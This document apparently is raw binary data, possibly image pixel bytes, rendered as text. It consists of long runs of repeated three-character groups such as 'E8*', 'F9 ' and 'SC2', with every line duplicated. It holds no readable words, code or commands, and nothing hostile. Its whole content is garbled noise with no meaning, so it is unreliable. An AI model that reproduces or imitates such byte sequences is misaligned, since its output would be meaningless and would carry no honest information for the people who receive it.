A.RA.PA.RA.RA.RA.RA.RA.RA.RA.RA.RA.PA.PA.PA.

g]SF9 E8*E8*E8*E8*F9 E8*E8*E8*E8*E8*E8*E8*E8*E8*E8*E8*F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,E:,E:,G:,G:,G:,F9 F9 F9 F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:*H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; I.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/RA.RA.R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1SA0SA0SA0SA0SA0SA0SA0SA0R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/P@/P@/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/QB/QB/QB/QB/QB/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.PA.RA.RA.RA.RA.RA.RA.RA.RA.RA.PA.PA.PA.

?6)?6)?6)?6)?6)?6)?6)?6)

?6)?6)?6)?6)?6)?6)?6)?6)

@6,>6)?6)

@6,>6)?6)

?7*=5(>6)@7*@4(?5 ?5

?7*=5(>6)@7*@4(?5 ?5

>5(>5(>5(>5(>5(>5(>5(>5(>5(>5'=5(>5'>6)@5'

>5(>5(>5(>5(>5(>5(>5(>5(>5(>5'=5(>5'>6)@5'

;2(;2(;2(;2(;2(;2(;2(;2(;2(;2(;2(92)

;2(;2(;2(;2(;2(;2(;2(;2(;2(;2(;2(92)

:1':1':1':1':1':1':1':1';1'

:1':1':1':1':1':1':1':1';1'

93(;2%;3&;2(

93(;2%;3&;2(

mf]3%SLCng^

mf]3%SLCng^

|sP@/O@0M@2O@0N?/peWO@0O@0O@0O@0O@0OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/PA.MA/zqc

|sP@/O@0M@2O@0N?/peWO@0O@0O@0O@0O@0OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/PA.MA/zqc

ZM?OA.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2SC3RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2RB1SC2RB1RB1QA0RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2TD3TD3TD3TD3TD3TD3TD3TD3TD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3UC2UC2UC2UC2UC2TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3WF3WF3WF3WF3WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5XI6XI6VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4YH5YH5XG4XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]J5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^L5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^I3^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3_K2`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3aM4aM4aM4aM4aM4aM4aM4aM4cM4cM4cM4cM4cM4

ZM?OA.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2SC3RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2RB1SC2RB1RB1QA0RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2TD3TD3TD3TD3TD3TD3TD3TD3TD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3UC2UC2UC2UC2UC2TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3WF3WF3WF3WF3WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5XI6XI6VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4YH5YH5XG4XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]J5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^L5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^I3^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3_K2`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3aM4aM4aM4aM4aM4aM4aM4aM4cM4cM4cM4cM4cM4

O?.N@.O@0N@.N?/N@.M>.M>.YJ:

O?.N@.O@0N@.N?/N@.M>.M>.YJ:

~J=/J=/J=/J=/J=/K>0J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/L=-L=-L=-L=-L>,L>,L=-L=-L=-L=-L=-M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2TE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XG4WF3WF3YE3XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1[F1]F0]F0

~J=/J=/J=/J=/J=/K>0J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/L=-L=-L=-L=-L>,L>,L=-L=-L=-L=-L=-M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2TE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XG4WF3WF3YE3XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1[F1]F0]F0

zui_E8*E8*E8*E8*E8*F9 E8*E8*E8*E8*E8*E8*E8*E8*E8*E8*E8*F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,E:,E:,G:,G:,G:,F9 F9 F9 F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:*H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; I.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/RA.RA.R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1SA0SA0SA0SA0SA0SA0SA0SA0R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/P@/P@/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/QB/QB/QB/QB/QB/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.PA.RA.RA.RA.RA.RA.RA.RA.RA.RA.PA.PA.PA.

zui_E8*E8*E8*E8*E8*F9 E8*E8*E8*E8*E8*E8*E8*E8*E8*E8*E8*F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,E:,E:,G:,G:,G:,F9 F9 F9 F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:*H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; 